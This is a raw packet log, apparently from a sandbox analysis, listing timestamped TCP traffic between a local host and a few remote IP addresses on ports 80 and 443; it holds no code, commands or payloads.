Nov 23, 2024 01:14:28.892988920 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.893004894 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.893125057 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.893929005 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.893979073 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.894505978 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.894603014 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.894912958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.894929886 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.894959927 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.894974947 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.895898104 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.895914078 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.895962954 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.896830082 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.896878958 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.897310019 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.897357941 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.897742987 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.897790909 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.045227051 CET	49829	443	192.168.2.5	172.183.192.109
Nov 23, 2024 01:14:29.045247078 CET	443	49829	172.183.192.109	192.168.2.5
Nov 23, 2024 01:14:29.045520067 CET	49829	443	192.168.2.5	172.183.192.109
Nov 23, 2024 01:14:29.045814991 CET	49829	443	192.168.2.5	172.183.192.109
Nov 23, 2024 01:14:29.045829058 CET	443	49829	172.183.192.109	192.168.2.5
Nov 23, 2024 01:14:29.048135996 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.048239946 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.048312902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.048433065 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.048620939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.048798084 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.048846006 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.049618959 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.049776077 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.049844980 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.050630093 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.050641060 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.050683022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.051553011 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.051821947 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.051872969 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.052536011 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.052604914 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.052642107 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.052680969 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.053478956 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.053548098 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.053575993 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.053587914 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.054441929 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.054490089 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.054497957 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.054548979 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.055413961 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.055469036 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.055494070 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.055532932 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.056394100 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.056452036 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.057192087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.057243109 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.057511091 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.057590008 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.057755947 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.057812929 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.058331013 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.058377028 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.058514118 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.058561087 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.059290886 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.059317112 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.059366941 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.060297966 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.060419083 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.060508013 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.060554028 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.061259031 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.061271906 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.061325073 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.062202930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.062342882 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.063236952 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.063249111 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.063261032 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.063285112 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.063303947 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.064148903 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.064197063 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.064363956 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.064419985 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.065135002 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.065148115 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.065184116 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.065213919 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.066082001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.066129923 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.067065001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.067076921 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.067086935 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.067137003 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.068010092 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.068072081 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.069015980 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.069026947 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.069036961 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.069065094 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.069107056 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.069953918 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.070007086 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.070952892 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.070964098 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.070975065 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.071008921 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.071041107 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.071886063 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.071996927 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.072890997 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.072904110 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.072916031 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.072953939 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.072979927 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.073812962 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.073860884 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.074827909 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.074839115 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.074850082 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.074887037 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.074913979 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.075750113 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.075882912 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.076741934 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.076802969 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.076809883 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.076822042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.076849937 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.076860905 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.077702999 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.077753067 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.078702927 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.078713894 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.078725100 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.078748941 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.078766108 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.117522955 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.236923933 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.568741083 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.568808079 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.569272995 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.569284916 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.569359064 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.569835901 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.569854021 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.569864988 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.569889069 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.569925070 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.570789099 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.570949078 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.571007013 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.571788073 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.571799040 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.571852922 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.572717905 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.572864056 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.572926998 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.573741913 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.573751926 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.573801994 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.574681044 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.574878931 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.574938059 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.575680971 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.575691938 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.575743914 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.576607943 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.576658964 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.576709032 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.576746941 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.577585936 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.577665091 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.578567982 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.578581095 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.578615904 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.578636885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.578681946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.579509974 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.579574108 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.579586983 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.579662085 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.580533981 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.580547094 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.580599070 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.581445932 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.581501007 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.581934929 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.581991911 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.582447052 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.582458973 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.582505941 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.582520008 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.583395004 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.583517075 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.583589077 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.584410906 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.584561110 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.584584951 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.584624052 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.585345984 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.585361958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.585405111 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.586303949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.586359024 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.587321997 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.587333918 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.587347031 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.587378979 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.587404013 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.588242054 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.588308096 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.589042902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.589096069 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.589221954 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.589240074 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.589274883 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.590512037 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.590600014 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.590961933 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.591015100 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.591172934 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.591183901 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.591226101 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.592101097 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.592158079 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.593063116 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.593126059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.593136072 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.593189955 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.594029903 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.594149113 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.595022917 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.595043898 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.595055103 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.595086098 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.595110893 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.595985889 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.596038103 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.596086979 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.596237898 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.596999884 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.597012043 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.597064972 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.597907066 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.597963095 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.598828077 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.598881960 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.598901987 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.598911047 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.598947048 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.599877119 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.599925995 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.600233078 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.600281000 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.600862026 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.601833105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.601841927 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.601852894 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.601888895 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.601912022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.602742910 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.602793932 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.602900028 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.602941990 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.603759050 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.603770971 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.603816032 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.604695082 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.604744911 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.605278969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.605325937 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.605767012 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.605818987 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.605830908 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.605971098 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.606614113 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.606669903 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.606923103 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.606976986 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.607587099 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.607914925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.607969046 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.608566999 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.608685970 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.608855963 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.609034061 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.609532118 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.609653950 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.609703064 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.610589981 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.610601902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.610646009 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.610665083 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.611568928 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.611579895 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.611634016 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.612463951 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.612541914 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.612641096 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.613440990 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.613502026 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.613559008 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.614393950 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.614406109 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.614450932 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.615372896 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.615384102 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.615432024 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.616349936 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.616362095 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.616396904 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.616408110 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.617326975 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.617425919 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.617485046 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.618252039 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.618303061 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.618685007 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.618932962 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.619229078 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.619278908 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.619587898 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.619642973 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.620198011 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.620245934 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.620412111 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.620846033 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.621150970 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.621193886 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.621201038 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.621254921 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:29.770066977 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:29.770142078 CET	49760	80	192.168.2.5	185.215.113.206
